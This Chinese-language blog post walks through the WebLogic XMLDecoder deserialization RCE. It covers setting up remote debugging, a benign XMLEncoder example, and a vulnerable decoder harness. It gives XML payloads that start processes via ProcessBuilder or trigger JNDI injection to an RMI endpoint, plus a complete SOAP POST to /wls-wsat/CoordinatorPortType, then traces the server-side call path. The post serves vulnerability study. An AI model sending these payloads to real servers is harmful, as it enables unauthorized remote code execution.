weblogic远程调试XMLDecoder RCE

首先说一下远程调试的配置,首先在weblogic的启动文件加入如下配置,开启服务器远程调试端口就是9999:

第二步,建立一个java的空项目。
第三步将weblogic的所有jar包拷出来,放到一个文件中。

第四步把jar包导入idea的lib配置中

第五步添加一个remote,端口修改为9999

在加入的jar包打断点后,点击debug小瓢虫的图标就能进一步调试了

下面开始说xmldecoder的反序列化:
xmldecode,xmlendoer是将xml文件转化成java bean,简单的小例子如下:
XMLTest.java

package me.lightless.shiro;import java.beans.XMLEncoder;import java.io.BufferedInputStream;import java.io.BufferedOutputStream;import java.io.FileInputStream;import java.io.FileOutputStream;public class XMLTest { public void xmlEncode() throws Exception { MyInfo my = new MyInfo(); my.setMyage(25); my.setMyName("google"); my.setMyaddress("china"); my.setMyEducation("master in science"); XMLEncoder encoder = new XMLEncoder( new BufferedOutputStream( new FileOutputStream("myinfo.xml"))); encoder.writeObject(my); encoder.close(); System.out.println(my); } public void xmlDecode() throws Exception { java.beans.XMLDecoder decoder = new java.beans.XMLDecoder( new BufferedInputStream(new FileInputStream("myinfo.xml"))); MyInfo my = (MyInfo)decoder.readObject(); decoder.close(); System.out.println(my); System.out.println("Your age: "+my.getMyage()); } public static void main (String args[]) throws Exception { XMLTest st = new XMLTest(); st.xmlEncode(); st.xmlDecode(); } }

MyInfo.java

package me.lightless.shiro;public class MyInfo { private int myage; public int getMyage() { return myage; } public void setMyage(int myage) { this.myage = myage; } public String getMyName() { return myName; } public void setMyName(String myName) { this.myName = myName; } public String getMyaddress() { return myaddress; } public void setMyaddress(String myaddress) { this.myaddress = myaddress; } public String getMyEducation() { return myEducation; } public void setMyEducation(String myEducation) { this.myEducation = myEducation; } private String myName; private String myaddress; private String myEducation;}

运行结果:

如果xml传入的是恶意代码,就能导致命令执行:
XmlDecoderTest.java

package me.lightless.shiro;import java.beans.XMLDecoder;import java.io.BufferedInputStream;import java.io.FileInputStream;import java.io.FileNotFoundException;import java.io.IOException;import java.util.ArrayList;import java.util.List;public class XmlDecoderTest { public static void main(String[] args) { // TODO Auto-generated method stub java.io.File file = new java.io.File("E:\\Struts2-Vulenv-master\\Java-Unserialization-Study\\src\\main\\java\\me\\lightless\\shiro\\xmldecoder.xml"); java.beans.XMLDecoder xd = null; try { xd = new XMLDecoder(new BufferedInputStream(new FileInputStream(file))); } catch (FileNotFoundException e) { // TODO Auto-generated catch block e.printStackTrace(); } Object s2 = xd.readObject(); xd.close(); }}

如下三种payload能够弹计算器:

<?xml version="1.0" encoding="UTF-8"?><java version="1.8.0_131" class="java.beans.XMLDecoder"> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="1"> <void index="0"> <string>calc</string> </void> </array> <void method="start" /> </object></java>
<java version="1.4.0" class="java.beans.XMLDecoder"> <new class="java.lang.ProcessBuilder"> <string>calc</string><method name="start" /> </new></java>

这个payload参考这个连接jndi注入https://paper.tuisec.win/detail/a5927ff39106516

<java version="1.8.0_131" class="java.beans.XMLDecoder"> <void class="com.sun.rowset.JdbcRowSetImpl"> <void property="dataSourceName"> <string>rmi://localhost:1099/Exploit</string> </void> <void property="autoCommit"> <boolean>true</boolean> </void> </void></java>


提交如下payload:

POST /wls-wsat/CoordinatorPortType HTTP/1.1Host: 127.0.0.1:7001Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: text/xmlContent-Length: 603<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java><java version="1.8.0_131" class="java.beans.XMLDecoder"> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="1"> <void index="0"> <string>calc</string> </void> </array> <void method="start" /> </object></java></java> </work:WorkContext> </soapenv:Header> <soapenv:Body/></soapenv:Envelope>

C:\Users\Administrator\Desktop\lib\weblogic.jar!\weblogic\wsee\jaxws\workcontext\WorkContextServerTube.class在40行下断点,传入的参数。

跟进readHeaderOld,跟进WorkContextXmlInputAdapter

跟进行XMLDecoder,var1则是我们传入的payload

调用的栈信息如下:

参考链接:
https://paper.seebug.org/487/
https://blog.csdn.net/defonds/article/details/83510668#_39
https://github.com/Tom4t0/Tom4t0.github.io/blob/master/_posts/2017-12-22-WebLogic%20WLS-WebServices%E7%BB%84%E4%BB%B6%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90.md

相关文章